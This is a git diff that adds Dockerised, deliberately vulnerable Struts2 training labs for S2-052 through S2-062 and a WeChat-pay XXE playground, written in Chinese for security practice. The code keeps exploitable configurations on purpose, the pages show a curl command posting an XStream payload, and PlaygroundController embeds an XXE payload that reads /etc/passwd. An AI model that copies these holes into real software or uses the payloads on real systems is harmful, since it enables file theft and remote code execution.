b/struts2-s2-052/src/main/resources/struts.xml new file mode 100644 index 0000000..c78f394 --- /dev/null +++ b/struts2-s2-052/src/main/resources/struts.xml @@ -0,0 +1,23 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + /WEB-INF/content/index.jsp + /WEB-INF/content/index.jsp + + + /WEB-INF/content/index.jsp + /WEB-INF/content/index.jsp + + + diff --git a/struts2-s2-052/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-052/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..318a9bc --- /dev/null +++ b/struts2-s2-052/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,46 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-052 靶场 + + + +
+
+

Struts2 S2-052 演示靶场

+

这个模块接入了 struts2-rest-plugin,保留 /orders/3/edit 这类 REST 风格入口,便于用 application/xml 发送 XStream 负载。

+ + +
+ + +
+
curl -i -X POST "http://宿主机IP:9951/orders/3/edit" -H "Content-Type: application/xml" --data-binary @payload.xml
+
+
+ + + diff --git a/struts2-s2-052/src/main/webapp/WEB-INF/web.xml b/struts2-s2-052/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..6742793 --- /dev/null +++ b/struts2-s2-052/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-052 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-052/src/main/webapp/index.jsp b/struts2-s2-052/src/main/webapp/index.jsp new file mode 100644 index 0000000..b412610 --- /dev/null +++ b/struts2-s2-052/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-053/Dockerfile b/struts2-s2-053/Dockerfile new file mode 100644 index 0000000..d78f628 --- /dev/null +++ b/struts2-s2-053/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-053 +WORKDIR /opt/struts2-s2-053 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-053/target/struts2-s2-053.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-053/Dockerfile_local b/struts2-s2-053/Dockerfile_local new file mode 100644 index 0000000..938accc --- /dev/null +++ b/struts2-s2-053/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-053.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-053/docker-compose.yaml b/struts2-s2-053/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-053/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-053/pom.xml b/struts2-s2-053/pom.xml new file mode 100644 index 0000000..773367a --- /dev/null +++ b/struts2-s2-053/pom.xml @@ -0,0 +1,70 @@ + + + 4.0.0 + + org.example + struts2-s2-053 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.33 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + commons-io + commons-io + 2.6 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-053 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-053/src/main/java/com/myapp/action/HelloAction.java b/struts2-s2-053/src/main/java/com/myapp/action/HelloAction.java new file mode 100644 index 0000000..5cd889d --- /dev/null +++ b/struts2-s2-053/src/main/java/com/myapp/action/HelloAction.java @@ -0,0 +1,16 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class HelloAction extends ActionSupport { + + private String name; + + @Override + public String execute() { + return SUCCESS; + } + + public String getName() { return name; } + public void setName(String name) { this.name = name; } +} diff --git a/struts2-s2-053/src/main/resources/log4j.properties b/struts2-s2-053/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-053/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-053/src/main/resources/struts.xml b/struts2-s2-053/src/main/resources/struts.xml new file mode 100644 index 0000000..9a2c2b1 --- /dev/null +++ b/struts2-s2-053/src/main/resources/struts.xml @@ -0,0 +1,15 @@ + + + + + + + + + /WEB-INF/content/hello.ftl + /WEB-INF/content/hello.ftl + + + diff --git a/struts2-s2-053/src/main/webapp/WEB-INF/content/hello.ftl b/struts2-s2-053/src/main/webapp/WEB-INF/content/hello.ftl new file mode 100644 index 0000000..2188338 --- /dev/null +++ b/struts2-s2-053/src/main/webapp/WEB-INF/content/hello.ftl @@ -0,0 +1,29 @@ + + + + + Struts2 S2-053 靶场 + + + +
+
+

Struts2 S2-053 演示靶场

+

这个页面使用 FreeMarker 结果,模拟标签属性值发生二次解析的场景。测试时建议在 name 中粘贴带换行的 payload。

+
+ + +

+
+

当前 name:${name!''}

+
+
+ + diff --git a/struts2-s2-053/src/main/webapp/WEB-INF/web.xml b/struts2-s2-053/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..ec37c9a --- /dev/null +++ b/struts2-s2-053/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-053 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-053/src/main/webapp/index.jsp b/struts2-s2-053/src/main/webapp/index.jsp new file mode 100644 index 0000000..23d0c03 --- /dev/null +++ b/struts2-s2-053/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-057/Dockerfile b/struts2-s2-057/Dockerfile new file mode 100644 index 0000000..87efd83 --- /dev/null +++ b/struts2-s2-057/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-057 +WORKDIR /opt/struts2-s2-057 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-057/target/struts2-s2-057.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-057/Dockerfile_local b/struts2-s2-057/Dockerfile_local new file mode 100644 index 0000000..b669d31 --- /dev/null +++ b/struts2-s2-057/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-057.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-057/docker-compose.yaml b/struts2-s2-057/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-057/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-057/pom.xml b/struts2-s2-057/pom.xml new file mode 100644 index 0000000..bfbad47 --- /dev/null +++ b/struts2-s2-057/pom.xml @@ -0,0 +1,70 @@ + + + 4.0.0 + + org.example + struts2-s2-057 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.34 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + commons-io + commons-io + 2.6 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-057 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-057/src/main/java/com/myapp/action/ChainAction.java b/struts2-s2-057/src/main/java/com/myapp/action/ChainAction.java new file mode 100644 index 0000000..d65f077 --- /dev/null +++ b/struts2-s2-057/src/main/java/com/myapp/action/ChainAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class ChainAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-057/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-057/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..5bc14da --- /dev/null +++ b/struts2-s2-057/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,16 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + private String marker; + + @Override + public String execute() { + return SUCCESS; + } + + public String getMarker() { return marker; } + public void setMarker(String marker) { this.marker = marker; } +} diff --git a/struts2-s2-057/src/main/resources/log4j.properties b/struts2-s2-057/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-057/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-057/src/main/resources/struts.xml b/struts2-s2-057/src/main/resources/struts.xml new file mode 100644 index 0000000..bb1622d --- /dev/null +++ b/struts2-s2-057/src/main/resources/struts.xml @@ -0,0 +1,20 @@ + + + + + + + + + /WEB-INF/content/index.jsp + + + + + + /index.action?marker=${namespace} + + + diff --git a/struts2-s2-057/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-057/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..0c3d481 --- /dev/null +++ b/struts2-s2-057/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,56 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-057 靶场 + + + +
+
+

Struts2 S2-057 演示靶场

+

alwaysSelectFullNamespace=true 且 action 未显式设置 namespace 时,URI 中的 namespace 片段会参与 OGNL 解析。

+

当前 marker:

+
+ + + +
+
+ + +
+

+    
+
+ + + diff --git a/struts2-s2-057/src/main/webapp/WEB-INF/web.xml b/struts2-s2-057/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..22dda73 --- /dev/null +++ b/struts2-s2-057/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-057 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-057/src/main/webapp/index.jsp b/struts2-s2-057/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-057/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-059/Dockerfile b/struts2-s2-059/Dockerfile new file mode 100644 index 0000000..845e42d --- /dev/null +++ b/struts2-s2-059/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-059 +WORKDIR /opt/struts2-s2-059 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-059/target/struts2-s2-059.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-059/Dockerfile_local b/struts2-s2-059/Dockerfile_local new file mode 100644 index 0000000..37a5e2f --- /dev/null +++ b/struts2-s2-059/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-059.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-059/docker-compose.yaml b/struts2-s2-059/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-059/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-059/pom.xml b/struts2-s2-059/pom.xml new file mode 100644 index 0000000..a1a1b97 --- /dev/null +++ b/struts2-s2-059/pom.xml @@ -0,0 +1,70 @@ + + + 4.0.0 + + org.example + struts2-s2-059 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.5.16 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + commons-collections + commons-collections + 3.2.2 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-059 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-059/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-059/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..2899d4f --- /dev/null +++ b/struts2-s2-059/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,21 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + private String id; + + @Override + public String execute() { + return SUCCESS; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } +} diff --git a/struts2-s2-059/src/main/resources/log4j.properties b/struts2-s2-059/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-059/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-059/src/main/resources/struts.xml b/struts2-s2-059/src/main/resources/struts.xml new file mode 100644 index 0000000..0d366cd --- /dev/null +++ b/struts2-s2-059/src/main/resources/struts.xml @@ -0,0 +1,14 @@ + + + + + + + + + /WEB-INF/content/index.jsp + + + diff --git a/struts2-s2-059/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-059/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..5d47b7a --- /dev/null +++ b/struts2-s2-059/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,65 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-059 靶场 + + + +
+
+

Struts2 S2-059 靶场

+

这个模块把危险输入点放在请求参数 id,并通过页面上的 Struts 标签把它二次用于 id="%{id}" 属性,模拟属性值双重解析。

+
+ + +
+

当前请求参数 id:

+ +
+ + +
+

+    
+
+ + + diff --git a/struts2-s2-059/src/main/webapp/WEB-INF/web.xml b/struts2-s2-059/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..83b30b4 --- /dev/null +++ b/struts2-s2-059/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-059 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-059/src/main/webapp/index.jsp b/struts2-s2-059/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-059/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-061/Dockerfile b/struts2-s2-061/Dockerfile new file mode 100644 index 0000000..f2d7e86 --- /dev/null +++ b/struts2-s2-061/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-061 +WORKDIR /opt/struts2-s2-061 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-061/target/struts2-s2-061.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-061/Dockerfile_local b/struts2-s2-061/Dockerfile_local new file mode 100644 index 0000000..d4c654f --- /dev/null +++ b/struts2-s2-061/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-061.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-061/docker-compose.yaml b/struts2-s2-061/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-061/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-061/pom.xml b/struts2-s2-061/pom.xml new file mode 100644 index 0000000..cd30f2f --- /dev/null +++ b/struts2-s2-061/pom.xml @@ -0,0 +1,70 @@ + + + 4.0.0 + + org.example + struts2-s2-061 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.5.25 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + commons-collections + commons-collections + 3.2.2 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-061 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-061/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-061/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..2899d4f --- /dev/null +++ b/struts2-s2-061/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,21 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + private String id; + + @Override + public String execute() { + return SUCCESS; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } +} diff --git a/struts2-s2-061/src/main/resources/log4j.properties b/struts2-s2-061/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-061/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-061/src/main/resources/struts.xml b/struts2-s2-061/src/main/resources/struts.xml new file mode 100644 index 0000000..0d366cd --- /dev/null +++ b/struts2-s2-061/src/main/resources/struts.xml @@ -0,0 +1,14 @@ + + + + + + + + + /WEB-INF/content/index.jsp + + + diff --git a/struts2-s2-061/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-061/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..a963c20 --- /dev/null +++ b/struts2-s2-061/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,50 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-061 靶场 + + + +
+
+

Struts2 S2-061 靶场

+

这个模块延续 S2-059 的双重评估场景,但页面更适合用 multipart/form-data 提交 id,模拟 BeanMap + InstanceManager 的沙盒绕过链。

+
+ +
+

当前请求参数 id:

+ + + + + +
+ + +
+
+
+ + + diff --git a/struts2-s2-061/src/main/webapp/WEB-INF/web.xml b/struts2-s2-061/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..9b8580c --- /dev/null +++ b/struts2-s2-061/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-061 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-061/src/main/webapp/index.jsp b/struts2-s2-061/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-061/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-062/Dockerfile b/struts2-s2-062/Dockerfile new file mode 100644 index 0000000..b4c53e7 --- /dev/null +++ b/struts2-s2-062/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-062 +WORKDIR /opt/struts2-s2-062 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-062/target/struts2-s2-062.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-062/Dockerfile_local b/struts2-s2-062/Dockerfile_local new file mode 100644 index 0000000..8d16c57 --- /dev/null +++ b/struts2-s2-062/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-062.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-062/docker-compose.yaml b/struts2-s2-062/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-062/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-062/pom.xml b/struts2-s2-062/pom.xml new file mode 100644 index 0000000..966e502 --- /dev/null +++ b/struts2-s2-062/pom.xml @@ -0,0 +1,70 @@ + + + 4.0.0 + + org.example + struts2-s2-062 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.5.29 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + commons-collections + commons-collections + 3.2.2 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-062 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-062/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-062/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..2899d4f --- /dev/null +++ b/struts2-s2-062/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,21 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + private String id; + + @Override + public String execute() { + return SUCCESS; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } +} diff --git a/struts2-s2-062/src/main/resources/log4j.properties b/struts2-s2-062/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-062/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-062/src/main/resources/struts.xml b/struts2-s2-062/src/main/resources/struts.xml new file mode 100644 index 0000000..0d366cd --- /dev/null +++ b/struts2-s2-062/src/main/resources/struts.xml @@ -0,0 +1,14 @@ + + + + + + + + + /WEB-INF/content/index.jsp + + + diff --git a/struts2-s2-062/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-062/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..111f6fc --- /dev/null +++ b/struts2-s2-062/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,50 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-062 靶场 + + + +
+
+

Struts2 S2-062 靶场

+

这个模块是对 S2-061 修复绕过的再现,仍然使用 id="%{id}" 的双重评估位置,但默认给出 BeanMap 风格绕过链。

+
+ +
+

当前请求参数 id:

+ + + + + +
+ + +
+
+
+ + + diff --git a/struts2-s2-062/src/main/webapp/WEB-INF/web.xml b/struts2-s2-062/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..27df3d3 --- /dev/null +++ b/struts2-s2-062/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-062 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-062/src/main/webapp/index.jsp b/struts2-s2-062/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-062/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/upload-images.sh b/upload-images.sh index 39596d3..fd34588 100644 --- a/upload-images.sh +++ b/upload-images.sh @@ -1,4 +1,12 @@ #!/bin/bash +#构建和上传agent镜像 +cd SimpleAgent +javac -source 1.8 -target 1.8 -d . src/main/java/my/agent/SimpleAgent.java +jar cvfm SimpleAgent.jar MANIFEST.MF my/agent/SimpleAgent.class +cp SimpleAgent.jar ../agent/agent.jar +docker build -t wushangleon/sec_agent . +docker push wushangleon/sec_agent +cd ../ # 获取所有镜像名:标签,排除含有 的镜像 images=$(docker images | grep -v '' | awk '/wushang/{print $1":"$2}') diff --git a/wxpay-xxe/Dockerfile b/wxpay-xxe/Dockerfile index 4bd5a6f..8e478a8 100644 --- a/wxpay-xxe/Dockerfile +++ b/wxpay-xxe/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/wxpay-xxe-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/wxpay-xxe/Dockerfile_local b/wxpay-xxe/Dockerfile_local index 92977e5..de5316c 100644 --- a/wxpay-xxe/Dockerfile_local +++ b/wxpay-xxe/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/wxpay-xxe-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/wxpay-xxe/docker-compose.yaml b/wxpay-xxe/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/wxpay-xxe/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/wxpay-xxe/src/main/java/myapp/PlaygroundController.java b/wxpay-xxe/src/main/java/myapp/PlaygroundController.java new file mode 100644 index 0000000..c408b0e --- /dev/null +++ b/wxpay-xxe/src/main/java/myapp/PlaygroundController.java @@ -0,0 +1,28 @@ +package myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String attack = "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>wxpay&xxe;".replace("< !", "wxpay123456"; + return "wxpay-xxe Playground" + style() + + "

wxpay-xxe Playground

可先填充攻击/正常 XML,再手动修改并发送到 /wxpay-xxe

" + + "
等待发送请求...
" + + ""; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/wxpay-xxe/wxpay-xxe.iml b/wxpay-xxe/wxpay-xxe.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/wxpay-xxe/wxpay-xxe.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file